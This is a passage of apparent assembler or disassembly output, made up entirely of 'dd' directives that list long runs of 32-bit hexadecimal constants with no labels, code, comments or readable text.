2EA83F11h, 8FDE827Ch, 4372D661h, 0A13D0B19h dd 5DFFA852h, 0E8D26D9Ah, 0E28E6066h, 5FE7988Ah, 34DD25E3h dd 3302E5BBh, 61E0F184h, 0F604B764h, 7416BBFBh, 0CD92E541h dd 11D1343Ah, 0B4CFA872h, 0E81AF8Fh, 3C1E8060h, 0CC9EE71Ah dd 7E2D195Fh, 4F51D10Eh, 0FB701A27h, 6324E6h, 0A1EB72F3h dd 0BFD294A8h, 388EF1C8h, 7850D2FFh, 3C6ACE93h, 67591C81h dd 0B91A9FEFh, 5974CF72h, 60962F38h, 55378A7Eh, 0DD3FC5FBh dd 139D9313h, 749FEF96h dd 731D04C9h, 5B315DCh, 6783A3B7h, 0E7222FF7h, 0BDE5EB85h dd 0BEDB6552h, 0C340411Bh, 0F45D295Dh, 8BD8CBC9h, 0E9AAA596h dd 75051AE9h, 0EFE1B003h, 22EBFFF9h, 0A38EBB20h, 0D85807C6h dd 0B738ADC6h, 0EE84A020h, 33FE5AAAh, 0DF98698Dh, 0FF0A6B83h dd 4051D15Ch, 681FBDFBh, 9CAB29FAh, 52B30EB7h, 68A2866Dh dd 260A8754h, 0E77152B5h, 2D069568h, 8DBB7EEAh, 460FDDD0h dd 0C5C6D8AAh, 68FD1CEh, 75B74F69h, 4DA0CEB0h, 4F2EC2A3h dd 5228368Ch, 0EC77216Bh, 457CDE5h, 91F2C7C5h, 0CD569FE0h dd 576EE4DDh, 80D82FF5h, 0C3EC2A1Fh, 80E76C0h, 0D1D76BF3h dd 63EA8CA6h, 9E3F3ADBh, 7FD658ECh, 53B1DE6Dh, 0E0A900ACh dd 0CFF65A87h, 3985251Dh, 0B01DA85Ah, 0C3F17C6Eh, 10D93882h dd 0C4DA9068h, 15EE357h, 3E547B3h, 30B6542Bh, 0C6E9CD54h dd 98AAC99Ah, 607F0BFAh, 4D861582h, 18DC50E8h, 399BF82Fh dd 4F00F202h, 0DA691918h, 0F57B1D77h, 0B4735BDDh, 7B33F9C3h dd 5BED737Dh, 45FEA4A9h, 7D7F46A0h, 3B081EE8h, 6DBD45F7h dd 68F054CCh, 0F6776339h, 0D54340B4h, 0E0F1254Ah, 0BEF74DC9h dd 75F4E166h, 53858BCDh, 0CB614CB5h, 0EFC46324h, 631F5C43h dd 98CE7F02h, 7066519Bh, 65FC2C50h, 0C5C6C53Eh, 9A3A706Ah dd 300FD009h, 0F446EC8Fh, 21573AF5h, 0B23CF3h, 44FFB24Fh dd 2C78B722h, 0B8C7BE2h, 11D06E36h, 9129C830h, 0E0B93523h dd 0FEA4D059h, 48B457E7h, 37A4C6ADh, 0B713F0Dh, 5C772EF1h dd 6FA8B3A8h, 22C088D9h, 0C2BC88FBh, 0F7DB538Eh, 7B55E748h dd 0B2B8789Fh, 0B11B2B7Ch, 0DF5BEEF4h, 4D706843h, 3718E35Ah dd 0E0F0E2ABh, 7365CBFDh, 8B475AF6h, 243D68BEh, 0BFDB6EB3h dd 993AA45Dh, 5D3A5EA6h, 56A48CC9h, 0ADF768BFh, 798BBBD8h dd 7852A4D5h, 9BE78799h, 12BF1B29h, 2B29C13Bh, 4EE2C5C9h dd 37C7D802h, 0E910502h, 0D349A07Fh, 0E3EB5F29h, 656E43BEh dd 0DB7A6DF6h, 0DFDEF01Ch, 554A93C9h, 8C85C0BCh, 7D026D96h dd 9717CE07h, 375A99F4h, 8D32DAADh, 97A16DBBh, 0BCC34486h dd 2A4F226Fh, 0BA7E6651h, 0E9B9EF7h, 0E3523BEDh, 11475C8Ah dd 1D6707Ch, 774250E1h, 0CEC5D149h, 39A2F479h, 3EEA6E23h dd 28E89F27h, 1D52BBA5h, 0EFF6FD7Fh, 0F232C8A2h, 57C5A4CBh dd 4F8D915Fh, 41744CB2h, 3975CFCCh, 0FCC0978Ch, 0CDCD225h dd 242AC13Ch, 0ED0886E4h, 1FC63158h, 0CDB65F7Fh, 5DEBB945h dd 97868F9Eh, 9BBA93C4h, 6ADAFBADh, 98DBA312h, 0C6067524h dd 889646DCh, 0BDB6B132h, 9C23A6C7h, 0E60D135Fh, 9492438Ah dd 44F6CEF7h, 50C1E315h, 0AF6EB866h, 44D6E7E3h, 0B5C2497h dd 7F25A8BEh, 0FF250F83h, 6486CE32h, 95E21E80h, 0F8E0C866h dd 604A2ADBh, 89B55264h, 0C821943Dh, 0D1242552h, 502D8413h dd 3BCEABDDh, 8D0A3DBCh, 0BF932D67h, 128CDF61h, 7E77E13Eh dd 0C70F8F6Dh, 0DA5C4FBDh, 0F1DCD701h, 5472D303h, 7666C8F7h dd 0C4C0FC19h, 2EDC16Fh, 33AF57CEh, 0E59DBB5Ah, 72903550h dd 896967C5h, 0D352D4D9h, 57A4EDh, 0CE288C71h, 0B41BF3E0h dd 9AA3494Dh, 0DB787505h, 0CBA76886h, 0BA57B0EAh, 23DAE5E1h dd 5EA0614Eh, 0D895DDB5h, 67FDAB60h, 7099E75Bh, 5AED87E3h dd 0A4BC59Ch, 5A24E47Eh, 0C9EC877Ch, 0C69F892Bh, 5A2008BAh dd 64A030B0h, 1AEA47EFh, 2FE52BD5h, 0E683A4A5h, 38EE4783h dd 2331607Ah, 0DB02CB0h, 420545ACh, 0E35193C8h, 0E0B4BEE0h dd 0F05EBD62h, 0DD0085D9h, 58DD71BAh, 7DA6FBB0h, 76125920h dd 5FE7D69Fh, 4AEBEE68h, 0F048C234h, 6D6D80FBh, 748BAB95h dd 0FC7F3A9h, 2B8CA525h, 0E93871E0h, 581C8933h, 0B9501712h dd 0B87ABA41h, 2EEA3753h, 7A719079h, 14E66B97h, 3115305Ah dd 2F4BEC39h, 27336CD4h, 818B87E0h, 77648689h, 0DB800D14h dd 30DB82C1h, 673EC3F1h, 0E4F23826h, 61BFC6Bh, 0E1566B5Ch dd 0EC9CAAF8h, 990AAB0Eh, 5448DDE6h, 0E3EAFDF8h, 0C4C18455h dd 71A73B7Bh, 8A7B4DBFh, 0A869D2CEh, 1AEAB9AFh, 0DD139BFDh dd 0E98047B7h, 9BD50BDAh, 13EDCE22h, 2BD87D02h, 2F0F40F8h dd 147D952Bh, 0C51DCA70h, 0A965BB3Ch, 90FCCF02h, 5D1B6EA4h dd 3B45FADh, 2AE65B87h, 0C3E3557Ah, 561936Eh, 0B21BAF31h dd 8B47705Dh, 0B33D9EEFh, 5924D15Ah, 0FBD26B9h, 4258287h dd 0E07D57CBh, 1EAF10C1h, 9D08DFEFh, 3A45A85Fh, 2D2C89CEh dd 0BB87F8DCh, 9789DE04h, 302F4D8Dh, 0D4EF45BFh, 0D3ADFCE8h dd 0E962F428h, 9A16C48Fh, 2A268355h, 8A6AFC2Bh, 8657C7ADh dd 49D7A35h, 645B498Ch, 0DC4A5D85h, 16AC7D37h, 99C9341Fh dd 0F6564F9Fh, 787A3485h, 0D1E47238h, 0BD6A4FD2h, 0AF67F878h dd 0EF8786C1h, 45F06EECh, 0B95B7A3h, 7FCBEEDDh, 190A93D0h dd 91B69AF1h, 9189BB14h, 334B832Ah, 75613DE1h, 0C9154043h dd 0FFD346F2h, 9863A712h, 0E9DE6BE6h, 6D39D764h, 0BFAB659Dh dd 0A17DB2B2h, 8856FBF4h, 60BD558Eh, 0CC6407C0h, 0CFC230B0h dd 5677F050h, 3343A941h, 1B97BAACh, 0B003DF4Ah, 0EDC36B5Ah dd 8433B10Fh, 71F7BA1Eh, 0D5B37850h, 89F1BACFh, 1446F2DAh dd 8847E52Ch, 0C566AD01h, 6B23D110h, 5220DC82h, 0BF96A92Bh dd 0CE8CEEDh, 0EC6D9CBEh, 0E98120EDh, 2B5E4980h, 0A0B4F955h dd 56DDC97Dh, 0F8CDA962h, 0C0FDEE1h, 0D0B3AD89h, 160637C1h dd 2C94FD01h, 1D3469F0h, 23164F26h, 0F4143A27h, 819D8030h dd 6A743373h, 3F17DF6Fh, 73A506ECh, 1F44FAE9h, 6D0CC267h dd 0B2E55DEFh, 0CB067CD4h, 8962FA8h, 0CA15012Bh, 2DC19492h dd 7531C6E4h, 8CE25DC8h, 25AD5140h, 19C7409Ch, 0B11AF120h dd 6BB4CE1Dh, 92C92787h, 93A1E3C8h, 0A6EE9C87h, 9BEDAEC3h dd 0F45B71EBh, 2D161BBAh, 938E54AFh, 315F3956h, 5436B57Dh dd 0AD6095E5h, 0FE9B5176h, 0CAE6197h, 8B0F1CAAh, 407215E3h dd 0ED600C55h, 0A2DA7ADBh, 6B0C831Bh, 0A2FF566Ah, 605685EAh dd 0A9163457h, 6A0E7734h, 1D324DE3h, 580A3BD0h, 0C1315F6Eh dd 0C211CFAAh, 7B2685FBh, 0FCF5BEB7h, 0EE15264Ah, 827B62C8h dd 5D0EE80Ch, 21F871B0h, 21EB2850h, 0DA9F1DAEh, 0B20DA49Bh dd 0C3AD65CAh, 57EBA58h, 4D3FD69Ch, 0FE39AAE0h, 9C1F28DDh dd 4E49876Fh, 0F8DA145Ch, 46FA5461h, 0FA9ECF9Ch, 92B69257h dd 0AA38E1AEh, 43250798h, 0ED6A32AFh, 585AA339h, 78DFB697h dd 0A50F1090h, 0E4FCA790h, 661D71EDh, 0FED2698Ah, 0EB80E0C9h dd 0F26F92C1h, 0CA3E560Bh, 0BCAE7CCDh, 8962C040h, 350E742Ch dd 725BD7F1h, 0D0CFE8D7h, 6A761D37h, 0F6745558h, 1576D5B3h dd 11ED68DFh, 9F893ECFh, 921FC707h, 62A8A9A2h, 0CB669853h dd 0F6A7BFBAh, 881DA7F2h, 699D615Dh, 0AA5FD7ACh, 0EE072F72h dd 8A9BAD12h, 70E1896Ch, 0C1972531h, 33FBD8Ah, 67923B48h dd 0FEDAE276h, 0E1A9EB45h, 0F85D6A68h, 8B5D5789h, 22FF7B10h dd 7336F798h, 5892898Eh, 0DDAAAA25h, 7D05568Eh, 0A6905DA4h dd 257E8F5Dh, 437CEA9Ch, 4FC56AA3h, 7668D4B4h, 0AB14E97Ch dd 0DA698AB8h, 0A2FE6E44h, 485FDEDEh, 46134C59h, 0D447CF70h dd 7E196EEh, 7321F8DEh, 1D7B0AE7h, 0F0578A26h, 830EF205h dd 4427B7E6h, 3B87FC89h, 0DB1383ECh, 0AE696D3Ch, 9E7CD434h dd 0D5FF0FC1h, 0FEE7A769h, 0A81F03F1h, 68F86418h, 529736A7h dd 0DF9C7568h, 903969F3h, 0AA52D64Eh, 52A307AFh, 0C2635689h dd 0F835E9EFh, 0FAA75C5h dd 0DBE9C31Ah, 247AFD82h, 0E5CDBB47h, 4510BDC4h, 490C1603h dd 0A8AE0C35h, 8A8B5C16h, 0B66B4C96h, 94ACBB47h, 0BF68C237h dd 0C10EE43Ah, 797CE97Bh, 0BFA0E742h, 96D8C2E8h, 0A7F750AEh dd 0BCFEA155h, 6496607Ch, 831653Eh, 0ECC4436Eh, 95FA3E0Bh dd 0D9F47C15h, 9C181F89h, 0E41454A4h, 982F485Ch, 812E6B78h dd 0AFD391FBh, 6866D065h, 2D181736h, 1B23CD67h, 318602B4h dd 43B1F1D1h, 0E1BE6B2Dh, 386FB6EDh, 3B8939DCh, 897EC539h dd 0B47DC77Bh, 51A7D45h, 473CCDD4h, 0E65271E7h, 5A3DBC2Bh dd 360C5A36h, 7CA72BD6h, 0A2CFF55Dh, 0D6EB4A85h, 737217EFh dd 3C960BA9h, 779E3450h, 0EEE2C41Bh, 7D6825A1h, 0B51DB879h dd 0F2AA3813h, 0B0ACD40h, 23B56AB6h, 0CEF07F85h, 383C487Dh dd 88673254h, 0DDCD8892h, 0C74D398h, 26C9CE95h, 3E8AAD79h dd 3FAB7D70h, 1A6C9D23h, 0A0D2E8F0h, 9955B969h, 0FE82AABBh dd 0B4483AB6h, 0A88AF951h, 6E9AFBBh, 3D178C87h, 0C273B2FFh dd 814E5534h, 0B7EA418Dh, 9AF16212h, 2A4F5A33h, 4AC24FEEh dd 9E611D7Bh, 937E8DF6h, 0BE917E40h, 3F03D3ACh, 40712F64h dd 6A713F70h, 8BF886B4h, 62FCD9EEh, 964CDD7Ch, 4E7E155Eh dd 0C97E7DF4h, 0BEFD5495h, 9BE1E77Bh, 0D6F22582h, 0B09565F1h dd 0D0FC4AFCh, 7142E7D0h, 0F1536415h, 78F8FBC5h, 1CAB7CE0h dd 0DFB2A5A1h, 7B790F19h, 0E5EEB6D7h, 840FEA43h, 82B6F4D8h dd 0C3771348h, 0FC1A917Dh, 0AEE6E805h, 3237CCFCh, 8E19091Ah dd 3ACC4D82h, 1A11F5AEh, 0F690E7C1h, 0FC56DE5Ah, 3EDE5A26h dd 69B1BE6Fh, 0E0481F8Dh, 8ED4AF9Bh, 124F106Dh, 75A289B1h dd 0B7D2E5C3h, 9FBF2FD6h, 2698AC91h, 0CA650E1Dh, 46EDCD02h dd 4AD20FC1h, 1FBA0866h, 1F9FE19Bh, 771FEE25h, 3B206451h dd 43B50C9Fh, 9A1E145h, 695F3E87h, 541C5749h, 28DFBC39h dd 93EF6907h, 1A9EE544h, 0EBAF783Dh, 897E97E7h, 0CB957DABh dd 0BC3B3ECBh, 92C35767h, 5B1B3E6Ah, 0D3951697h, 5714D40Fh dd 0F146719Eh, 3633EFDEh, 9042565Dh, 51F691DDh, 0A5813503h dd 0CEA9A8CBh, 86A771FCh, 0C9D4B801h, 23B11F43h, 0CDFE1662h dd 0B07CEAFDh, 0BA21BCB6h, 96175F16h, 0BE573B6Fh, 2938B207h dd 7EECD64Dh, 0B9D22422h, 1B9A3DF5h, 4C396104h, 37A3FABFh dd 0AEE88ABEh, 0B7057D27h, 0C94AC88Bh, 0ECD67CDAh, 48D0816Bh dd 8CB04D23h, 61E7F356h, 0AEF74B34h, 70B977E4h, 0C2D013B4h dd 0DF4F36FEh, 4E9DC2ACh, 0F91BB90Ah, 292A0254h, 0A81F382h dd 558AB2FAh, 27835317h, 53A269CEh, 82CDE77Ch, 51ED37A5h dd 96B52DF5h, 9DCE3CAAh, 0FAC877ABh, 45C1607Dh, 94191EBBh dd 9D8EE3C2h, 0DA4B371Ch, 0A90E21ECh, 0DEFA0BEFh, 0CF3D9987h dd 0DD863C17h, 6155530Ch, 0F4B05B10h, 4AC3E2ABh, 7C6CA9F0h dd 0AAC53CB4h, 6F4EF65Ch, 8BF007AAh, 0AEB2B258h, 47EFAAF9h dd 3FF2A8E5h, 542DE3C5h, 456FBDE3h, 0ED2D1AA8h, 9807B4A4h dd 83FABB15h, 8647270Ah, 0D88BBE81h, 5CE7C5A2h, 65CB6FEFh dd 0C0D91761h, 0AD1646DCh, 0BA7EDDE2h, 6BEF9B7Fh, 0B9470531h dd 569F07CCh, 9DC12886h, 10A0E147h, 56DFD3F3h, 0EEE43A2Eh dd 92991579h, 0E9B8C859h, 76C5E11Eh, 83647465h, 0EDA8C8BAh dd 69CA9680h, 5586D4D7h, 9DDE3B65h, 2672C985h, 0D139CEECh dd 3E92B24Ah, 8519B93Ch, 0A9ABDCEAh, 7B8DCA30h, 0C4219383h dd 0CF33511Eh, 0C4E8C81Ah, 1F040418h, 490F4C30h, 0B0BA6D76h dd 0FC4F7E3h, 0CF3C9EEDh, 5DDE7C3Dh, 79B0A2A1h, 0F6CD93F0h dd 7ADE3021h, 0AC9A21F8h, 0E77DF15Dh, 15E7AF68h, 4EBDCFD4h dd 0C6531359h, 3D16E81h, 1B81626Fh, 0C2AE5327h, 0B0BDF780h dd 0D25C6D54h, 44E49655h, 0E126A011h, 0E5FDCC94h, 6A6776A0h dd 93C3707Ch, 40A5260Bh, 0AF9624ABh, 5F21CB12h, 233FE599h dd 0B035368h, 0C660EFD5h, 2DFED9D0h, 41583100h, 0D09547D6h dd 71E6C7A9h, 13352350h, 9DEC6EC3h, 79B2D322h, 0BD09283Ch dd 673D6FF4h, 8072039Dh, 25810ECDh, 8F130h, 0E396C9EFh dd 6ED82B4Eh, 6184777h, 75F123AFh, 96E42BA2h, 0FB2F65F2h dd 4D22BB4Fh, 5AA2ED43h, 81D0B86Bh, 6AA4012Ch, 0CC5A09A1h dd 39DBEB9Dh, 3311FF8Ah, 0AB8EC9E9h, 0D0C89A92h, 0D279F352h dd 22F3882Ch, 71F4EA12h, 3E620D53h, 0F3CEDC6Fh, 0F263DFEh dd 2DDED44Ah, 0E9047567h, 0DD48636Ch, 6D10EAB5h, 67A4E454h dd 6FAA1EE7h, 6BA5F711h, 0BD1C617Bh, 842FC80Ah, 963C79FEh dd 34981B91h, 22EADF7Fh, 616639EFh, 18C6E853h, 9B8EFD80h dd 5B1D57Dh, 7BA961F5h, 0E3AC5507h, 70A8A987h, 0EB7EBAA0h dd 23F885EFh, 93DFEB72h, 0D8B721C0h, 3391C228h, 4D220944h dd 25CE35D1h, 46F4E05Bh, 0AD3A0A07h, 2C0B0B75h, 98158536h dd 2BAECEBh, 4BDA736h, 0D7E69AA6h, 97DCF38Dh, 0B788816Eh dd 900A1584h, 50FCD86Bh, 0A821E5F5h, 4B441CB8h, 0B342F5B7h dd 3AD2D7FBh, 8189A67Bh, 15A194D6h, 0CFBA82C1h, 49B65305h dd 4C2B352Ah, 8C841C1Eh, 0DF87398Bh, 0A9334C72h, 94EE5E77h dd 1147513Ch, 5611B0h, 6EB4D1F1h, 8C5A7D25h, 0BEC4BAADh dd 0D1E32930h, 0D23D12BDh, 7E58607Eh, 67EA0FE5h, 0DCEC8C81h dd 0EA1D4989h, 0CB5D12C9h, 6E4CF90Eh, 991E149Ch, 34D0E159h dd 0D92B981Bh, 0F0272DE6h, 154AF096h, 0A1B6497Ch, 691868A4h dd 4BF24E2Fh, 0EA5794C9h, 5AB51769h, 5ED9207Ch, 1DB3A3D9h dd 0B98C347Ah, 457A2B98h, 65BE7EA8h, 0AD2AA568h, 572B57C2h dd 39BA846Dh, 99F3F855h, 0B16CB510h, 0A52DDEE1h, 0A1284A45h dd 54138C73h, 2BCB62D5h, 754F954Ah, 0B22C274h, 0B350A748h dd 0F183E45Fh, 0C8A503h, 0A97CE417h, 0BF1281AAh, 7F9C4D09h dd 12D357B1h, 0FC164810h, 18CD3570h, 0FE639BA8h, 55D31028h dd 73106F71h, 7B4069ACh, 0B050F4BBh, 4CEF831Ah, 0AC1EFA9Eh dd 0C8ED038Ah, 0DC1ED098h, 657D7163h, 36105444h, 699D9C74h dd 0C804D6DAh, 4AB30607h, 696E9F46h, 5D0868E9h, 8F048891h dd 6A8D7094h, 0E07A441Bh, 1469BAAEh, 0BC13767Ch, 0C9F65673h dd 1C68D6BEh, 0EFC0697Dh, 4E34A7DBh, 51C5823Bh, 85F8437Bh dd 4BB6D324h, 6912F012h, 89C0E0A0h, 0C6B3BF21h, 635EE01h dd 0B9A631E0h, 8AB9D33Ch, 0A92FD8D8h, 0BD6E737Ch, 5C5CE319h dd 83B2F6F0h, 0A9DA7947h, 0EDA615F6h, 98B13097h, 0BC0485D0h dd 0D8223669h, 0C12497F4h, 0F0177757h, 185585C3h, 0D9F39FAh dd 0E0ED493Ah, 818CE1AFh, 0E8660BB8h, 92FC4FD4h, 0AAD78A08h dd 0CD7152ECh, 0A9743015h, 0FA6CF03Eh, 55A0F66Ch, 0FAEDA6Eh dd 0B32FAD2Eh, 0F4425540h, 0EBEBAB2Fh, 0C8193D04h, 3635C177h dd 15DB184Ch, 816E5339h, 0E7B556BDh, 4AAB257Ch, 0A04D5575h dd 5F4DA949h, 0A2337164h, 0DE46FA85h, 78BA3901h, 2A564D58h dd 0D1F51745h, 0ED057B47h, 0AD11B7DBh, 25D67133h, 0A3287970h dd 46848DBEh, 0D43D52EDh, 0EAF197E0h, 0B4ECE7FEh, 340BE00Ah dd 0F6E881EEh, 302403F6h, 298E2FDDh, 7B4E819Ah, 0B677B3F6h dd 3393DC4Dh, 0DDE14842h, 630ED359h, 5D7861E5h, 44BCAB1Fh dd 20F5F8C9h, 0B59DC02Bh, 0F229AAF9h, 2A12BC5Bh, 694F7CCBh dd 0A7953346h, 0FDEBA6AAh, 544BD54Bh, 0A333CDD6h, 0DB154ABDh dd 39270DECh, 0B5CF0AADh, 7B306105h, 61FB7E5Eh, 328514F5h dd 5A2489E6h, 25C136ABh, 0C855731Eh, 172FDD3Ah, 4577265Bh dd 0F09BE6F9h, 0B9FBE0E1h dd 0B34CF28Ah, 434B5A20h, 0E87AD551h, 36B11DD4h, 9E0DDA80h dd 0D5902813h, 728BA5FAh, 0EF17B447h, 0E0791337h, 0F55A87EFh dd 8771714Fh, 2730645Fh, 0BC5CAC75h, 7FD733B5h, 1E1A245Bh dd 72292E0Fh, 2F4FA1C2h, 557AD68Bh, 74A9E930h, 422ED724h dd 0AE2472Ch, 0FA2A96C9h, 769155D1h, 4143E807h, 4A492C55h dd 0A585AD56h, 4C13730Ah, 94E8849Dh, 56B41B1Ah, 65C0AE17h dd 7EFEBC93h, 7FCD9389h, 530C1442h, 3050F814h, 95ADDE5Ch dd 4FBF27F8h, 3CD6157Ah, 81F954E8h, 0D5862A0Ah, 663AAAD6h dd 0A2AE36EFh, 3D8BEB6Ah, 0A3006CBDh, 89E18416h, 0D531A17Dh dd 0F802296Ch, 405579EDh, 0BFDE96B1h, 0BA43D889h, 3931FE1Ah dd 0BD7A75A2h, 33C15341h, 4716887Eh, 79B19E77h, 0E86DED70h dd 50FC581Bh, 0B4E56F7Ah, 31C15E06h, 0D1E944B1h, 0E47824A6h dd 4AC8B9DAh, 1F31C53Ch, 0D3873466h, 0CEE05A13h, 18BDE03Bh dd 33F3D003h, 390FD2BEh, 0D63EBD57h, 61DE59C7h, 0A2ACDE35h dd 74B0376Fh, 7FCCBD5Ch, 63FFC15h, 7E7A04Ch, 7114D9E6h dd 738E15A3h, 6CA3943Ch, 0E34C7F76h, 20B609C9h, 7CDDFD4Eh dd 0BEC06766h, 6EA5B4D7h, 0ABA95F95h, 0EF106F3Ch, 0F6FB385Ah dd 8F0BA749h, 0F8F0E294h, 5AE56772h, 47C2D095h, 8D571D7Bh dd 0C257E6D7h, 35EE52C4h, 0A661AC78h, 0C47EB21Ch, 0F45E898Dh dd 89242845h, 0BE872972h, 1DAE27FDh, 0F8512A90h, 0C2D4DCACh dd 4DD86B6Dh, 0D549CC73h, 0F3487CF0h, 0EE4A8057h, 4A354BCBh dd 0F3BEF939h, 0CB47DC4Ah, 71D6CCADh, 7AA1659h, 0C4B93Ch dd 0F93B9DFDh, 6E814CA8h, 1E2B5A16h, 42A4C892h, 2055A63Bh dd 0CA6DD67Fh, 81402756h, 0D529244Fh, 0D6E55558h, 0E83D132Dh dd 0B3FFE0ABh, 89701A2Fh, 9E1F14A5h, 6922B13Dh, 8F5E3729h dd 8FDA89BCh, 0A5881E11h, 0D85735FBh, 0DABD1B09h, 7F7E97D2h dd 0B218539Bh, 8B588D7Dh, 958B97ABh, 58761F8Dh, 6848D7C1h dd 5E6BDFCBh, 29EF6EBBh, 0D9E2CB6Dh, 371324B3h, 896FE6E8h dd 0E05D250Ah, 0C2F28699h, 0B6386FCEh, 6B869E23h, 4C13BF55h dd 6110D1C4h, 65197F98h, 9C7D875Ch, 0DF618169h, 3EC8C107h dd 0AA40852h, 0F3401FAFh, 7AE4DA4Bh, 36ECC257h, 91C4F54h dd 6BD9149Eh, 1E173F09h, 93652F12h, 762C16E2h, 93A38748h dd 0E465A814h, 2BEE6078h, 0B936DDCDh, 0BF4B3158h, 5DF23356h dd 3CEC19D0h, 4914E3B0h, 0CD62FF9Fh, 15706DF3h, 11A1C36Ah dd 0E4410794h, 5A976ED7h, 0D724F72Ch, 887081F7h, 0D4CE5BBFh dd 0D82F4B72h, 0FC515A58h, 0A5A36EC2h, 0DCFDDE8Dh, 65510BF4h dd 0D09B9C53h, 0BE0A0D25h, 0FABEBEB9h, 2EFDC68Ah, 0C2865BDEh dd 1CB26B83h, 0C6F2B755h, 4649659Ah, 0E07C6FC1h, 0FB05D187h dd 106B1C7h, 51C41642h, 6BF8DE7h, 5D68EC69h, 0D4B8C158h dd 0EF574C9h, 0DB4426E1h, 25F4310Fh, 36CBA17Ch, 0DF4C8A01h dd 93833AC1h, 69A4C3C2h, 5C7CF452h, 3E729225h, 5873C8DFh dd 522AB88Fh, 968ECD2Ah, 4A362B2Fh, 6E7BF3BEh, 0A94FCFF8h dd 0C464E05Eh, 0A190C4E9h, 94F6118Fh, 51990C9Dh, 77C143F0h dd 9624D384h, 0D197A3E3h, 0C36DA7AAh, 38BD463Dh, 27E7F341h dd 45464A03h, 0B0335D5Dh, 0B944FE59h, 0DA1C8E6Ch, 0B68E3E9h dd 6ABCE520h, 397A0AFFh, 0D4ED1E7Ch, 6FB93EADh, 0BC7219E8h dd 0A8B65CE7h, 83B8178Fh, 0F68CE2A3h, 6F2B59AAh, 3FD9077Ah dd 0CA871418h, 1A89F85Bh, 0CCF241AEh, 0CDC95702h, 4330DAEDh dd 0AC2728CDh, 58883E8Ch, 0D92A3507h, 0FDD0C116h, 6B50B329h dd 4A0EF8E6h, 9E5836F6h, 0CBE29062h, 0E3CB9816h, 90B7CB30h dd 66188955h, 0EDF4035Bh, 0D94C7F94h, 5B1DA1B4h, 96530FAAh dd 1C8DE474h, 2F9333Dh, 7E25A942h, 26B54717h, 0C85A98E6h dd 0E4C15702h, 7723A55Dh, 4AD82D51h, 5ABEAE17h, 38243585h dd 43B3A7C5h, 0B60EA0A0h, 0DB3CF503h, 0E570C296h, 16B487FBh dd 0B667D49h, 98BB6AF4h, 4A6F25A7h, 2B5DDEC1h, 1BD5505Bh dd 0ED9C5502h, 70E06D54h, 0CCC03EBDh, 0A04A81C0h, 3BF35603h dd 348A2FEEh, 2E73ED6Bh, 6026A9ECh, 8EE85DECh, 7DEACFFEh dd 0E182E8D9h, 0B3DD8127h, 8ED1ED92h, 0A2241A9Eh, 4B70B91Dh dd 0E8BB6B0Dh, 9D25B4CAh, 3374BBA5h, 0F2CB520Ch, 684AEFAEh dd 15C2A94h, 0D12737E2h, 0D285DD32h, 9F1A196h, 0D08507A3h dd 9178E178h, 13FB214Ah, 224597EEh, 0E7F0CF55h, 267501D3h dd 0E62E034Eh, 0BD28458Ch, 0D77DF198h, 97ED40C6h, 0B37573E0h dd 0C8B258A1h, 0CD963C53h, 0B8D7A602h, 4B7A5C13h, 354ACE39h dd 3B98471Eh, 45FAAB5Ah, 0C8BAA319h, 0D978FC5Eh, 0AEB4BEB5h dd 34AD5606h, 6CBB8979h, 73C5A51h, 0F37761Ch, 0FCCEF03Ch dd 569E07E8h, 0A3C0ADF5h, 87EDBBB8h, 0D1EDA15Eh, 0F8438216h dd 2035E1AAh, 55F1797Ch, 218CAEC5h, 3C1C7FD0h, 3BC3D7B0h dd 0A809F522h, 5C0F75B0h, 332F1445h, 0C6C54AA5h, 758676C5h dd 7B35F7FFh, 176A284Dh, 84736954h, 0AA958A55h, 1F617EF0h dd 39553128h, 0CBBA5D43h, 1ED4AB8Ch, 1D2F799Ch, 46EDDE21h dd 0C257F1A9h, 0CE574780h, 2A369233h, 0FD00FB57h, 0EA828993h dd 5D45D798h, 5B718409h, 0D209A657h, 0E9D30E50h, 0BEE55EF4h dd 0D41F3968h, 0A5526834h, 6868C0F3h, 0FC563A1Eh, 817CB670h dd 0D1E92FF4h, 309C3C91h, 0BEB2D7h, 7765AAE2h, 50AE7F72h dd 0B459643Fh, 18DADA0Fh, 7AD599FDh, 0E285288Bh, 2F3A9CCh dd 7F2AA44Eh, 8E36F55Bh, 5B2C6EA7h, 1B91FE2Ah, 276FC43Fh dd 0FA337C71h, 4F6DC034h, 157D81F1h, 0A18732DEh, 0DC07560Ah dd 0BE427D7Fh, 0B7FB43C0h, 3237A36Ah, 0B0306EEBh, 0CD8F9EC1h dd 0BAE8FE9Bh, 45E280ECh, 0FFEB7BBAh, 1F2114D2h, 0C02D1F72h dd 0E4497BFEh, 0BC133172h, 0FBC945B2h, 7595A299h, 83525337h dd 6B65B3A9h, 7A7317DEh, 7D1AB48Eh, 2B3511CFh, 409C0C0Fh dd 2DD23CC0h, 7B61BBAEh, 0D673946Dh, 0EDAD346Bh, 3C93057Ah dd 0B15F4470h, 5DD78ECh, 83CFC7B4h, 3959AEF3h, 973A53F1h dd 444BE558h, 888AB0FBh, 0E063EB85h, 0D7FF1521h, 438E13C2h dd 79A797DAh, 7687C0DBh, 0AE331F75h, 5F9A6E82h, 130F2DA9h dd 3D0B4812h, 69D41BEFh, 5669F34Ah, 72D1823Ch, 0F5821DDBh dd 7851A54Eh, 4B1AD2F0h, 0CD17EB46h, 0AAAFBA97h, 429057ACh dd 438AB207h, 717E4CFAh, 4FB2D4C6h, 0B8E5405Ah, 85557E52h dd 452324B0h, 0ECB184C0h, 542DD174h, 0DAA03D4Ch, 86CCDF35h dd 768FD137h, 21E3A6A1h, 0BE715178h, 1B23EC97h, 21B6E491h dd 0B42D8645h, 0F9B1A57Dh, 0D9E42496h, 9538B46Dh, 0A1DD9B53h dd 0C54CAF85h, 4F62A311h, 0E1E81EACh, 3B14B35Bh, 9F005F67h dd 0DA30B9D6h, 0DBD556CEh, 1D307ED0h, 0F9014A1Ah, 2E73B2E5h dd 12BAB5F1h, 0C802FA4Ah, 8033A385h, 0AA06B58Dh, 17520E83h dd 4EB8A93h, 985832C1h, 557C22FEh, 99A5A2B5h, 76E639B9h dd 0A8420D51h, 255A22FEh, 0C5B1BF2Eh, 6A9F82DCh, 0AB705633h dd 0B8ED010h, 0CE8FFC1Eh, 0E4D5E8B2h, 3DB22024h, 45954482h dd 0B90B46F3h, 16FD62ABh, 927F044Eh, 0D13D1A97h, 74E08D12h dd 932EB1EFh, 50127B28h, 53E48573h, 0DA964BCDh, 0BD73DB99h dd 7FA6E30h, 1A7E7D55h, 1F8051F1h, 0D62D965Eh, 5166AD78h dd 0BCA16F8Dh, 5F833EDh, 0A7DF7378h, 2EADD8FEh, 6D7741C1h dd 3129E844h, 0DE6C4CFAh, 